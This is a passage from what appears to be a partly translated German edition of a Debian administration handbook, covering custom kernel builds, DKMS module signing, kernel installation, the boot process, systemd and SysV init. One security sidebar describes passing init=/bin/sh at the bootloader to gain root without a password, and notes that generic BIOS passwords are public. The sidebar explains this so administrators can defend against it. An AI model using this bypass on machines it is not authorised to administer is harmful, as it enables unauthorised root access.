Traditionell würden Linux-Kernelquellen in /usr/src/linux/ abgelegt werden und damit Root-Berechtigungen für die Kompilierung erfordern. Das Arbeiten mit Administratorrechten sollte jedoch vermieden werden, wenn es nicht nötig ist. Es gibt eine Gruppe namens src, die es ihren Mitgliedern ermöglicht, in diesem Verzeichnis zu arbeiten, aber die Arbeit in /usr/src/ sollte dennoch vermieden werden. Indem Sie die Kernel-Quellen in einem persönlichen Verzeichnis halten, sind Sie in jeder Hinsicht sicher: Es gibt keine Dateien in /usr/, die dem Paketierungssystem unbekannt sind und es gibt kein Risiko, dass Programme dadurch in die Irre geführt werden, die /usr/src/linux lesen, wenn sie versuchen, Informationen über den verwendeten Kernel zu sammeln.

To build a kernel from the pristine sources, just download the tarball of the version of your choice from kernel.org, verify the integrity after importing the kernel maintainers key, and then proceed as described in the following chapters.

→ https://kernel.org/pub/linux/kernel/

→ https://git.kernel.org/pub/scm/docs/kernel/pgpkeys.git/tree/keys

$ wget https://kernel.org/pub/linux/kernel/v5.x/linux-5.10.62.tar.xz [..] $ wget https://kernel.org/pub/linux/kernel/v5.x/linux-5.10.62.tar.sign [..] $ unxz -c linux-5.10.62.tar.xz | gpg --verify linux-5.10.62.tar.sign - gpg: Signature made Fri 03 Sep 2021 10:11:35 AM CEST gpg: using RSA key 647F28654894E3BD457199BE38DBBDC86092693E gpg: Good signature from "Greg Kroah-Hartman <gregkh@linuxfoundation.org>" [unknown] gpg: aka "Greg Kroah-Hartman (Linux kernel stable release signing key) <greg@kroah.com>" [unknown] gpg: aka "Greg Kroah-Hartman <gregkh@kernel.org>" [unknown] gpg: WARNING: This key is not certified with a trusted signature! gpg: There is no indication that the signature belongs to the owner. Primary key fingerprint: 647F 2865 4894 E3BD 4571 99BE 38DB BDC8 6092 693E

8.10.3. Den Kernel konfigurieren

Der nächste Schritt besteht darin, den Kernel Ihren Bedürfnissen entsprechend zu kompilieren. Das genaue Vorgehen hängt von den Zielen ab.

When recompiling a more recent version of the kernel (possibly with an additional patch), the configuration will most likely be kept as close as possible to that proposed by Debian. In this case, and rather than reconfiguring everything from scratch, it is sufficient to copy the /boot/config-version file (the version is that of the kernel currently used, which can be found with the uname -r command) into a .config file in the directory containing the kernel sources. Make sure to read sidebar TIP Missing debian/certs/debian-uefi-certs.pem in this case.

$ cp /boot/config-5.10.0-8-amd64 ~/kernel/linux-source-5.10/.config

Falls Sie die Konfiguration nicht zu ändern brauchen, können Sie hier aufhören und zu Abschnitt 8.10.4, „Das Paket kompilieren und erstellen“ springen. Falls Sie sie dagegen ändern müssen oder falls Sie sich dazu entschließen, alles von Grund auf neu zu konfigurieren, müssen Sie sich die Zeit nehmen, Ihren Kernel zu konfigurieren. Es gibt in dem Verzeichnis mit den Kernelquellen mehrere speziell hierfür vorgesehene Schnittstellen, die mit dem Aufruf des Befehls make Ziel verwendet werden können, wobei Ziel einer der unten beschriebenen Werte ist.

make menuconfig compiles and executes a text-mode interface (this is where the libncurses-dev package is required) which allows navigating the options available in a hierarchical structure. Pressing the Space key changes the value of the selected option, and Enter validates the button selected at the bottom of the screen; Select returns to the selected sub-menu; Exit closes the current screen and moves back up in the hierarchy; Help will display more detailed information on the role of the selected option. The arrow keys allow moving within the list of options and buttons. To exit the configuration program, choose Exit from the main menu. The program then offers to save the changes you've made; accept if you are satisfied with your choices.

Other interfaces have similar features, but they work within more modern graphical interfaces; such as make xconfig which uses a Qt graphical interface, and make gconfig which uses GTK+. The former requires qtbase5-dev, while the latter depends on libglade2-dev and libgtk2.0-dev.

Beim Benutzen dieser Konfigurationsschnittstellen ist es immer gut, von einer der Standardkonfigurationen auszugehen. Der Kernel stellt solche Konfigurationen in arch/arch/configs/*_defconfig und Sie können Ihre gewählte Konfiguartion z.B. mit dem Befehl make x86_64_defconfig (im Falle eines 64-bit-Systems) oder mit make i386_defconfig (Im Falle eines 32-bit-PCs) einbinden.

TIP Umgang mit veralteten .config-Dateien

Wenn Sie eine .config-Datei verwenden wollen, die mit einer anderen (üblicherweise älteren) Kernel-Version erzeut wurde, müssen sie diese aktualisieren. Das geht entweder mit make oldconfig, wobei Sie interaktiv nach den neuen Konfigurationsoptionen gefragt werden. Wollen sie alle Optionen mit Standardwerten belegen, können Sie das mit make olddefconfig tun. Mit make oldnoconfig werden alle Fragen verneint.

8.10.4. Das Paket kompilieren und erstellen

HINWEIS Vor der Neuerstellung aufräumen

If you have already compiled once in the directory and wish to rebuild everything from scratch (for example, because you substantially changed the kernel configuration), you will have to run make clean to remove the compiled files. make distclean removes even more generated files, including your .config file too, so make sure to backup it first.

Once the kernel configuration is ready, a simple make deb-pkg will generate up to 5 Debian packages:

linux-image-version

contains the kernel image and the associated modules,

linux-headers-version

contains the header files required to build external modules,

linux-firmware-image-version

contains the firmware files needed by some drivers (this package might be missing when you build from the kernel sources provided by Debian),

linux-image-version-dbg

contains the debugging symbols for the kernel image and its modules (only created if CONFIG_DEBUG_INFO=y), and

linux-libc-dev

contains headers relevant to some user-space libraries like GNU glibc.

The version is defined by the concatenation of the upstream version (as defined by the variables VERSION, PATCHLEVEL, SUBLEVEL, and EXTRAVERSION in the Makefile), of the LOCALVERSION configuration parameter, and of the LOCALVERSION environment variable. The package version reuses the same version string with an appended revision that is regularly incremented (and stored in .version), except if you override it with the KDEB_PKGVERSION environment variable.

$ make deb-pkg LOCALVERSION=-falcot KDEB_PKGVERSION=$(make kernelversion)-1 [...] $ ls ../*.deb ../linux-headers-5.10.46-falcot_5.10.46-1_amd64.deb ../linux-image-5.10.46-falcot_5.10.46-1_amd64.deb ../linux-image-5.10.46-falcot-dbg_5.10.46-1_amd64.deb ../linux-libc-dev_5.10.46-1_amd64.deb

The whole process requires around 20 GB of free space, at least 8 GB of RAM, and several hours of compilation (utilizing one core) for a standard amd64 Debian kernel. These requirements can be drastically reduced by disabling the debug information using CONFIG_DEBUG_INFO=n, but this will make it impossible to trace kernel errors (“oops”) using gdb and also stop the creation of the linux-image-version-dbg package.

TIP Missing debian/certs/debian-uefi-certs.pem

The default kernel in Debian contains the following configuration:

[..] # # Certificates for signature checking # CONFIG_MODULE_SIG_KEY="" CONFIG_SYSTEM_TRUSTED_KEYRING=y CONFIG_SYSTEM_TRUSTED_KEYS="debian/certs/debian-uefi-certs.pem" # CONFIG_SYSTEM_EXTRA_CERTIFICATE is not set CONFIG_SECONDARY_TRUSTED_KEYRING=y CONFIG_SYSTEM_BLACKLIST_KEYRING=y CONFIG_SYSTEM_BLACKLIST_HASH_LIST="" # end of Certificates for signature checking [..]

Building a custom kernel based on these settings will fail if debian/certs/debian-uefi-certs.pem does not exist. This file can either be obtained from the kernel team's Git repository and placed into the source tree, or it can be replaced by your own certificate(s), or you'll have to disable the setting via CONFIG_SYSTEM_TRUSTED_KEYS="".

→ https://salsa.debian.org/kernel-team/linux/-/blob/master/debian/certs/debian-uefi-certs.pem

8.10.5. Externe Module kompilieren

Some modules are maintained outside of the official Linux kernel. To use them, they must be compiled alongside the matching kernel. A number of common third party modules are provided by Debian in dedicated packages, such as vpb-driver-source (extra modules for Voicetronix telephony hardware) or leds-alix-source (driver of PCEngines ALIX 2/3 boards).

Diese Pakete sind zahlreich und vielfältig, apt-cache rdepends module-assistant$ kann die von Debian bereitgestellte Liste anzeigen. Eine vollständige Liste ist jedoch nicht besonders nützlich, da es keinen besonderen Grund gibt, externe Module zu kompilieren, es sei denn, Sie wissen, dass Sie sie benötigen. In solchen Fällen wird die Dokumentation des Gerätes typischerweise das/die spezifische(n) Modul(e) ausführen, das/die es unter Linux benötigt, um zu funktionieren.

For example, let's look at the dahdi-source package: after installation, a .tar.bz2 of the module's sources is stored in /usr/src/. While we could manually extract the tarball and build the module, in practice we prefer to automate all this using the DKMS framework (Dynamic Kernel Module Support). Most modules offer the required DKMS integration in a package ending with a -dkms suffix. In our case, installing dahdi-dkms is all that is needed to compile the kernel module for the current kernel provided that we have the linux-headers-* package matching the installed kernel. For instance, if you use linux-image-amd64, you would also install linux-headers-amd64.

QUICK LOOK DKMS and Secure Boot

On UEFI systems with Secure Boot enabled, modules require signing before they can be loaded. The modules shipped with the kernel packages are signed. But external modules are not. Luckily, dkms already has everything that is required to sign built modules.

First, create a private key /root/dkms.key and a matching certificate /root/dkms.der with openssl, and enroll it with the mokutil --import /root/dkms.der command (please read /usr/share/doc/dkms/README.md.gz for details). This will require a restart and actively importing the certificate using the EFI MOK Manager interface. After this has been done, the sign_tool line in /etc/dkms/framework.conf must be uncommented. Already built modules need to be rebuilt, to be signed by the newly created and enrolled certificate. New modules will be automatically signed.

$ sudo apt install dahdi-dkms [...] Setting up dkms (2.8.4-3) ... Setting up linux-headers-5.10.0-8-amd64 (5.10.46-4) ... /etc/kernel/header_postinst.d/dkms: dkms: running auto installation service for kernel 5.10.0-8-amd64:. Setting up dahdi-dkms (1:2.11.1.0.20170917~dfsg-7.4) ... Loading new dahdi-2.11.1.0.20170917~dfsg-7.4 DKMS files... Building for 5.10.0-8-amd64 Building initial module for 5.10.0-8-amd64 Done. dahdi_dummy.ko: Running module version sanity check. - Original module - No original module exists within this kernel - Installation - Installing to /lib/modules/5.10.0-8-amd64/updates/dkms/ dahdi_dynamic_eth.ko: Running module version sanity check. - Original module - No original module exists within this kernel - Installation - Installing to /lib/modules/5.10.0-8-amd64/updates/dkms/ [...] DKMS: install completed. $ sudo dkms status dahdi, 2.11.1.0.20170917~dfsg-7.4, 5.10.0-8-amd64, x86_64: installed $ sudo modinfo dahdi_dummy filename: /lib/modules/5.10.0-8-amd64/updates/dkms/dahdi_dummy.ko license: GPL v2 author: Robert Pleh <robert.pleh@hermes.si> description: Timing-Only Driver depends: dahdi retpoline: Y name: dahdi_dummy vermagic: 5.10.0-8-amd64 SMP mod_unload modversions parm: debug:int

ALTERNATIVE module-assistant

Vor DKMS war der module-assistant die einfachste Lösung, einen Kernel zu bauen und zu verteilen. Er kann immer noch verwendet werden, besonders für Pakete die keine DKMS-Integration bieten: mit einem einfachen Befehl, wie module-assistant auto-install dahdi (oder kurz m-a a-i dahdi), werden die Module für den eingesetzten Kernel übersetzt, in ein Debian-Paket verschnürt und im gleichen Atemzug installiert.

8.10.6. Einen Kernel-Patch anwenden

Einige Funktionen sind im Standardkernel nicht enthalten, da sie entweder noch nicht ausgereift sind, oder auch wegen fehlender Übereinstimmung mit dem Entwickler. Solche Funktionen können als Patches verteilt werden, die dann jeder auf die Kernelquellen anwenden kann.

Debian stellt manchmal einige dieser Patches in linux-patch-*-Paketen zur Verfügung, aber sie schaffen es oft nicht in stabile Veröffentlichungen (manchmal aus den gleichen Gründen, aus denen sie nicht in den offiziellen Upstream-Kernel eingebunden werden). Diese Pakete installieren Dateien im Verzeichnis /usr/src/kernel-patches/.

To apply one or more of these installed patches, use the patch command in the sources directory then start compilation of the kernel as described above. The following shows an old example using linux-patch-grsecurity2 and linux-source-4.9.

$ cd ~/kernel/linux-source-4.9 $ make clean $ zcat /usr/src/kernel-patches/diffs/grsecurity2/grsecurity-3.1-4.9.11-201702181444.patch.gz | patch -p1

Beachten Sie, dass ein bestimmter Patch nicht unbedingt mit jeder Kernelversion funktioniert; patch kann scheitern, wenn sie auf die Kernelquellen angewendet werden. Dann wird eine Fehlermeldung mit Einzelheiten zu diesem Fehlschlag angezeigt; in diesem Fall sollten Sie in der Dokumentation nachsehen, die im Debian-Paket des Patches zur Verfügung steht (im Verzeichnis /usr/share/doc/linux-patch-*/). Meistens gibt der Betreuer dort an, für welche Kernelversionen sein Patch gedacht ist.

8.11. Einen Kernel installieren

8.11.1. Merkmale eines Debian-Kernelpakets

Ein Debian-Kernelpaket installiert das Kernelabbild (vmlinuz-Version), seine Konfiguration (config-Version) und seine Symboltabelle (System.map-Version) in das Verzeichnis /boot/. Die Module werden in das Verzeichnis /lib/modules/Version/ installiert.

KULTUR Die Symboltabelle

Die Symboltabelle erleichtert es Entwicklern, die Bedeutung einer Fehlermeldung des Kernels zu verstehen; ohne sie besteht ein „Kernel-Oops" (ein „Oops“ bei einem Kernel entspricht einer Schutzverletzung bei einem Programm auf der Anwenderebene; anders gesagt, sind dies Meldungen, die nach einer ungültigen Dereferenzierung eines Zeigers ausgegeben werden) lediglich aus numerischen Speicheradressen, die als Information nutzlos sind ohne eine Tabelle, die diese Adressen Symbolen und Funktionsnamen zuordnet.

The package's configuration scripts automatically generate an initramfs image (the successor of the old initial ramdisk initrd image), which is a compressed mini-system designed to be loaded in memory (hence the name, which stands for “initial ram filesystem”) by the bootloader, and used by the Linux kernel solely for loading the modules needed to access the devices containing the complete Debian system (for example, the driver for SATA disks). Finally, the post-installation scripts update the symbolic links /vmlinuz, /vmlinuz.old, /initrd.img, and /initrd.img.old so that they point to the latest two kernels installed, respectively, as well as the corresponding initramfs boot images.

Die meisten der Aufgaben werden an "hook scripts" in den /etc/kernel/*.d/-Verzeichnissen übergeben. Zum Beispiel fußt die Einbindung von grub darauf, dass /etc/kernel/postinst.d/zz-update-grub und /etc/kernel/postrm.d/zz-update-grub update-grub aufrufen, wenn ein Kernel installiert oder deinstalliert wird.

8.11.2. Mit dpkg installieren

Using apt is so convenient that it makes it easy to forget about the lower-level tools, but the easiest way of installing a compiled kernel is to use a command such as dpkg -i package.deb, where package.deb is the name of a linux-image package such as linux-image-5.10.46-falcot_5.10.46-1_amd64.deb.

Die in diesem Kapitel beschriebenen Konfigurierungsschritte sind grundlegend und können sowohl zu einem Server als auch zu einem Arbeitsplatzrechner führen, und sie können in weitem Umfang auf halbautomatisierte Weise dupliziert werden. Dennoch reichen sie nicht aus, um ein vollständig konfiguriertes System bereitzustellen. Einiges bedarf einer weiteren Konfigurierung, beginnend mit den Programmen auf unterer Ebene, die als „Unix-Dienste“ bezeichnet werden.

Kapitel 9. Unix-Dienste

Dieses Kapitel behandelt eine Reihe grundlegender Dienste, die vielen Unix-Systemen gemein sind. Alle Administratoren sollten mit ihnen vertraut sein.

9.1. Systemstart

Beim Hochfahren des Rechners zeigen die zahlreichen Meldungen, die auf der Konsole vorüberrollen, viele selbsttätig ausgeführte Initialisierungen und Konfigurationen an. Manchmal möchten Sie vielleicht den Ablauf dieser Phase etwas verändern, weshalb Sie sie gut verstehen müssen. Das ist der Zweck dieses Abschnitts.

On systems with a BIOS, first, the BIOS takes control of the computer, initializes the controllers and hardware, detects the disks, and bridges everything together. Then it looks up the Master Boot Record (MBR) of the first disk in the boot order and loads the code stored there (first stage). This code then launches the second stage and finally executes the bootloader.

In contrast to the BIOS, UEFI is more sophisticated, it knows filesystems and can read the partition tables. The interface searches the system storage for a partition labeled with a specific globally unique identifier (GUID) that marks it as the EFI System Partition (ESP), where the bootloaders, boot managers, UEFI shell, etc., are located, and launches the desired bootloader. If Secure Boot is enabled, the boot process will verify authenticity of the EFI binaries there by signature (thus grub-efi-arch-signed is required in this case). The UEFI specification also defines support for booting in legacy BIOS mode. This is called the Compatibility Support Module (CSM). If CSM is enabled, it will attempt to boot from a drive's MBR. However, many new systems do no longer support the CSM mode.

In both cases then the actual bootloader takes over, finds either a chained bootloader or the kernel on the disk, loads, and executes it. The kernel is then initialized, and starts to search for and mount the partition containing the root filesystem, and finally executes the first program — init. Frequently, this “root partition” and this init are, in fact, located in a virtual filesystem that only exists in RAM (hence its name, “initramfs”, formerly called “initrd” for “initialization RAM disk”). This filesystem is loaded in memory by the bootloader, often from a file on a hard drive or from the network. It contains the bare minimum required by the kernel to load the “true” root filesystem: this may be driver modules for the hard drive, or other devices without which the system cannot boot, or, more frequently, initialization scripts and modules for assembling RAID arrays, opening encrypted partitions, activating LVM volumes, etc. Once the root partition is mounted, the initramfs hands over control to the real init, and the machine goes back to the standard boot process.

9.1.1. Das systemd Initialisierungssystem

Das "tatsächliche init" wird zur Zeit von systemd bereitgestellt und dieser Abschnitt beschreibt das Init-System.

KULTUR Weitere inetd Befehle

systemd ist ein relativ neues "init-System", und obwohl es bis zu einem gewissen Grad bereits in Wheezy verfügbar war, ist es nur der Standard in Debian Jessie geworden. Frühere Versionen basierten standardmäßig auf dem "System V init" (im Paket sysv-rc), einem viel traditionelleren System. Wir beschreiben das System V init später.

ALTERNATIV Andere Bootsysteme

This book describes the boot system used by default in Debian since Buster (as implemented by the systemd package), as well as the previous default, sysvinit, which is derived and inherited from System V Unix systems; there are others.

Der Befehl upstart ist auf Debian immer noch nicht vollständig ausgetestet. Es arbeitet ereignisbasiert: Initialisierungsskripten werden nicht mehr der Reihe nach ausgeführt, sondern als Reaktion auf Ereignisse, wie zum Beispiel die Ausführung eines anderen Skripts, von dem sie abhängen. Dieses von Ubuntu eingeführte System war in Debian Jessie vorhanden, aber nicht als Standard eingestellt. Es war ein Nachfolger für sysvinit und eine der von upstart ausgeführten Aufgaben bestand darin, die für traditionelle Systeme geschriebenen Skripten zu starten, insbesondere die aus dem Paket sysv-rc.

openrc is a dependency based service manager. It was originally written for the Gentoo project, but it aims at being platform agnostic. It maintains compatibility with the System V init system and provides support for booting, changing runlevels, starting and stopping services (in parallel), and shutting down.

There are also other systems and other operating modes, such as file-rc, runit, or minit, but some of them are relatively specialized and not widespread.

Abbildung 9.1. Boot-Sequenz eines Rechners, auf dem Linux mit systemd läuft

SONDERFALL Aus dem Netzwerk hochfahren

In some configurations, the system may be configured not to execute code from the physical hardware, but to seek its equivalent on the network, making it possible to build computers without a hard drive, or which are completely reinstalled on each boot. This option is not available on all hardware and it generally requires an appropriate combination of firmware and network card.

Das Hochfahren aus dem Netzwerk kann dazu verwendet werden, den Debian-Installer oder FAI zu starten (siehe Abschnitt 4.1, „Installationsmethoden“).

ZURÜCK ZU DEN GRUNDLAGEN Der Prozess, eine Programminstanz

A process is the representation of a running program in memory. It includes all of the information necessary for the proper execution of the software (the code itself, but also the data that it has in memory, the list of files that it has opened, the network connections it has established, etc.). A single program may be instantiated into several processes, not necessarily running under different user IDs.

SICHERHEIT Eine Shell als init verwenden, um Administratorrechte zu erlangen

Vereinbarungsgemäß ist der erste Prozess, der gestartet wird, das Programm init (das ein symbolischer Link zu /lib/systemd/systemd ist). Man kann dem Kernel jedoch eine init-Option übergeben, die ein anderes Programm angibt.

Jeder mit Zugang zum Rechner kann die Reset-Taste drücken und ihn so neu starten. Dann ist es an der Eingabeaufforderung des Boot-Loaders möglich, dem Kernel die Option init=/bin/sh zu übergeben und so ohne Kenntnis des Administrator-Passworts Root-Rechte zu erlangen.

Um dieses zu verhindern, kann man den Boot-Loader selbst mit einem Passwort absichern. Man könnte auch den Zugang zum BIOS schützen (ein Passwort-Schutzmechanismus ist fast immer verfügbar), ohne den ein böswilliger Eindringling jedoch den Rechner immer noch mit einem Wechseldatenträger, der sein eigenes Linux-System enthält, hochfahren könnte und das er dann dazu benutzen könnte, um auf Daten auf den Festplatten des Rechners zuzugreifen.

Finally, be aware that most BIOS/EFI implementations have a generic password available. Initially intended for troubleshooting for those who have forgotten their password, these passwords are now public and available on the Internet (see for yourself by searching for “generic BIOS passwords” in a search engine). All of these protections will thus impede unauthorized access to the machine without being able to completely prevent it. There is no reliable way to protect a computer if the attacker can physically access it; they could dismount the hard drives to connect them to a computer under their own control anyway, or even steal the entire machine, or erase the BIOS memory to reset the password…

Systemd führt mehrere Prozesse aus, die für die Einrichtung des Systems verantwortlich sind: Tastatur, Treiber, Dateisysteme, Netzwerk, Dienste. Dabei behält es den Überblick über das Gesamtsystem und die Anforderungen der Komponenten. Jede Komponente wird durch eine "Unit-Datei" (manchmal auch mehrere) beschrieben; die allgemeine Syntax ergibt sich aus der weit verbreiteten "*.ini-Dateien" Syntax, mit key = value Paare gruppiert zwischen [section] headers. Unit-Dateien werden unter /lib/system/system/ und /etc/systemd/system/ gespeichert; es gibt sie in verschiedenen Varianten, aber wir werden uns hier auf "services" und "targets" konzentrieren.

A systemd “.service file” describes a process managed by systemd. It contains roughly the same information as old-style init-scripts, but expressed in a declaratory (and much more concise) way. Systemd handles the bulk of the repetitive tasks (starting and stopping the process, checking its status, logging, dropping privileges, and so on), and the service file only needs to fill in the specifics of the process. For instance, here is the service file for SSH:

[Unit] Description=OpenBSD Secure Shell server Documentation=man:sshd(8) man:sshd_config(5) After=network.target auditd.service ConditionPathExists=!/etc/ssh/sshd_not_to_be_run [Service] EnvironmentFile=-/etc/default/ssh ExecStartPre=/usr/sbin/sshd -t ExecStart=/usr/sbin/sshd -D $SSHD_OPTS ExecReload=/usr/sbin/sshd -t ExecReload=/bin/kill -HUP $MAINPID KillMode=process Restart=on-failure RestartPreventExitStatus=255 Type=notify RuntimeDirectory=sshd RuntimeDirectoryMode=0755 [Install] WantedBy=multi-user.target Alias=sshd.service

The [Unit] section contains generic information about the service, like its description and manual page resources, as well as relations (dependency and order) to other services. The [Service] part contains the declarations related to the service execution (starting, stopping, killing, restarting), directories and configuration file(s) used. The last section, [Install], again carries generic information into which targets to install the service and, in this case, the alias that can be used instead of the service name. As you can see, there is very little code in there, only declarations. Systemd takes care of displaying progress reports, keeping track of the processes, and even restarting them when needed. The syntax of these files is fully described in several manual pages (e.g. systemd.service(5), systemd.unit(5), systemd.exec(5), etc.).

A systemd “.target file” describes a state of the system where a set of services are known to be operational. It can be thought of as an equivalent of the old-style runlevel. One of the pre-defined targets is local-fs.target; when it is reached, the rest of the system can assume that all local filesystems are mounted and accessible. Other targets include network-online.target and sound.target (for a full list of special targets see systemd.special(7)). The dependencies of a target can be listed either within the target file (in the Requires= line), or using a symbolic link to a service file in the /lib/systemd/system/targetname.target.wants/ directory. For instance, /etc/systemd/system/printer.target.wants/ contains a link to /lib/systemd/system/cups.service; systemd will therefore ensure CUPS is running in order to reach printer.target.

Da Unit-Dateien, anders als Skripte oder Programme, eher deklarativ sind, können sie nicht direkt ausgeführt werden und werden von systemd nur interpretiert. Mehrere Dienstprogramme erlauben es dem Administrator daher, mit systemd zu interagieren und den Zustand des Systems und jeder Komponente zu kontrollieren.

Das erste derartige Dienstprogramm ist systemctl. Wenn es ohne Argumente ausgeführt wird, listet es alle dem System bekannten Unit-Dateien (mit Ausnahme derjenigen, die deaktiviert wurden) sowie deren Status auf. systemctl status gibt einen besseren Überblick über die Dienste und die damit verbundenen Prozesse. Wenn der Name eines Dienstes angegeben wird (wie in systemctl status ntp.service), gibt er noch mehr Details zurück, sowie die letzten Log-Zeilen, die sich auf den Dienst beziehen (mehr dazu später).

Das Starten eines Dienstes von Hand ist einfach das Starten von systemctl start servicename.service. Wie man leicht erraten kann, wird der Dienst mit systemctl stop servicename.service beendet; andere Unterbefehle beinhalten reload und restart.

Um zu steuern, ob ein Dienst aktiv ist (d.h. ob er beim Booten automatisch gestartet wird), verwenden Sie systemctl enable servicename.service (oder disable). is-enabled ermöglicht die Überprüfung des Status des Dienstes.

Eine interessante Eigenschaft von systemd ist, dass es eine Protokollierungskomponente namens journald enthält. Es ist eine Ergänzung zu herkömmlichen Protokollierungssystemen wie syslogd, aber es fügt interessante Funktionen hinzu, wie eine formale Verbindung zwischen einem Dienst und den von ihm erzeugten Nachrichten und die Fähigkeit, Fehlermeldungen zu erfassen, die durch seine Initialisierungssequenz erzeugt werden. Die Meldungen können später mithilfe des Befehls journalctl angezeigt werden. Ohne Argumente spuckt es einfach alle Logmeldungen aus, die seit dem Systemstart aufgetreten sind; es wird selten so verwendet. Meistens wird es mit einer Service-Kennung verwendet:

# journalctl -u ssh.service -- Logs begin at Tue 2015-03-31 10:08:49 CEST, end at Tue 2015-03-31 17:06:02 CEST. -- Mar 31 10:08:55 mirtuel sshd[430]: Server listening on 0.0.0.0 port 22. Mar 31 10:08:55 mirtuel sshd[430]: Server listening on :: port 22. Mar 31 10:09:00 mirtuel sshd[430]: Received SIGHUP; restarting. Mar 31 10:09:00 mirtuel sshd[430]: Server listening on 0.0.0.0 port 22. Mar 31 10:09:00 mirtuel sshd[430]: Server listening on :: port 22. Mar 31 10:09:32 mirtuel sshd[1151]: Accepted password for roland from 192.168.1.129 port 53394 ssh2 Mar 31 10:09:32 mirtuel sshd[1151]: pam_unix(sshd:session): session opened for user roland by (uid=0)

Ein weiterer nützlicher Kommandozeilenparameter ist -f, der journalctl anweist, neue Nachrichten so anzuzeigen, wie sie ausgegeben werden (ziemlich so wie tail -f file).

Wenn ein Dienst nicht wie erwartet funktioniert, ist der erste Schritt zur Lösung des Problems die Überprüfung, ob der Dienst tatsächlich läuft: systemctl status. Wenn dies nicht der Fall ist und die Meldungen des ersten Befehls nicht ausreichen, um das Problem zu diagnostizieren, überprüfen Sie die von journald über diesen Dienst gesammelten Protokolle. Angenommen, der SSH-Server funktioniert nicht:

# systemctl status ssh.service ● ssh.service - OpenBSD Secure Shell server Loaded: loaded (/lib/systemd/system/ssh.service; enabled) Active: failed (Result: start-limit) since Tue 2015-03-31 17:30:36 CEST; 1s ago Process: 1023 ExecReload=/bin/kill -HUP $MAINPID (code=exited, status=0/SUCCESS) Process: 1188 ExecStart=/usr/sbin/sshd -D $SSHD_OPTS (code=exited, status=255) Main PID: 1188 (code=exited, status=255) Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:36 mirtuel systemd[1]: ssh.service start request repeated too quickly, refusing to start. Mar 31 17:30:36 mirtuel systemd[1]: Failed to start OpenBSD Secure Shell server. Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state. # journalctl -u ssh.service -- Logs begin at Tue 2015-03-31 17:29:27 CEST, end at Tue 2015-03-31 17:30:36 CEST. -- Mar 31 17:29:27 mirtuel sshd[424]: Server listening on 0.0.0.0 port 22. Mar 31 17:29:27 mirtuel sshd[424]: Server listening on :: port 22. Mar 31 17:29:29 mirtuel sshd[424]: Received SIGHUP; restarting. Mar 31 17:29:29 mirtuel sshd[424]: Server listening on 0.0.0.0 port 22. Mar 31 17:29:29 mirtuel sshd[424]: Server listening on :: port 22. Mar 31 17:30:10 mirtuel sshd[1147]: Accepted password for roland from 192.168.1.129 port 38742 ssh2 Mar 31 17:30:10 mirtuel sshd[1147]: pam_unix(sshd:session): session opened for user roland by (uid=0) Mar 31 17:30:35 mirtuel sshd[1180]: /etc/ssh/sshd_config line 28: unsupported option "yess". Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:35 mirtuel sshd[1182]: /etc/ssh/sshd_config line 28: unsupported option "yess". Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:35 mirtuel sshd[1184]: /etc/ssh/sshd_config line 28: unsupported option "yess". Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:36 mirtuel sshd[1186]: /etc/ssh/sshd_config line 28: unsupported option "yess". Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:36 mirtuel sshd[1188]: /etc/ssh/sshd_config line 28: unsupported option "yess". Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state. Mar 31 17:30:36 mirtuel systemd[1]: ssh.service start request repeated too quickly, refusing to start. Mar 31 17:30:36 mirtuel systemd[1]: Failed to start OpenBSD Secure Shell server. Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state. # vi /etc/ssh/sshd_config # systemctl start ssh.service # systemctl status ssh.service ● ssh.service - OpenBSD Secure Shell server Loaded: loaded (/lib/systemd/system/ssh.service; enabled) Active: active (running) since Tue 2015-03-31 17:31:09 CEST; 2s ago Process: 1023 ExecReload=/bin/kill -HUP $MAINPID (code=exited, status=0/SUCCESS) Main PID: 1222 (sshd) CGroup: /system.slice/ssh.service └─1222 /usr/sbin/sshd -D #

Nachdem wir den Status des Dienstes überprüft haben (failed), haben wir die Protokolle überprüft; sie zeigen einen Fehler in der Konfigurationsdatei an. Nachdem wir die Konfigurationsdatei bearbeitet und den Fehler behoben haben, starten wir den Dienst neu und überprüfen, ob er tatsächlich läuft.

WEITERE SCHRITTE Andere Arten von Unit-Dateien

Wir haben in diesem Abschnitt nur die grundlegendsten Fähigkeiten von systemd beschrieben. Es bietet viele weitere interessante Funktionen; wir werden hier nur einige aufzählen:

socket activation: a “socket” unit file can be used to describe a network or Unix socket managed by systemd; this means that the socket will be created by systemd, and the actual service may be started on demand when an actual connection attempt comes. This roughly replicates the feature set of inetd. See systemd.socket(5).

timers: a “timer” unit file describes events that occur with a fixed frequency or on specific times; when a service is linked to such a timer, the corresponding task will be executed whenever the timer fires. This allows replicating part of the cron features. See systemd.timer(5).

network: a “network“ unit file describes a network interface, which allows configuring such interfaces as well as expressing that a service depends on one particular interface being up. See systemd.network(5).

9.1.2. Das System V Initialisierungssystem

The System V init system (which we'll call init for brevity) executes several processes, following instructions from the /etc/inittab file. The first program that is executed (which corresponds to the sysinit step) is /etc/init.d/rcS, a script that executes all of the programs in the /etc/rcS.d/ directory.

Unter diesen befinden sich nacheinander Programme, die zuständig sind für:

das Konfigurieren der Konsolentastatur;

das Laden von Treibern: die meisten Kernelmodule werden beim Erkennen der Hardware vom Kernel selbst geladen; zusätzliche Treiber werden selbsttätig geladen, wenn die entsprechenden Module in der Datei /etc/modules aufgeführt sind;

die Integritätsprüfung von Dateisystemen;

das Einhängen lokaler Partitionen;

das Konfigurieren des Netzwerks;

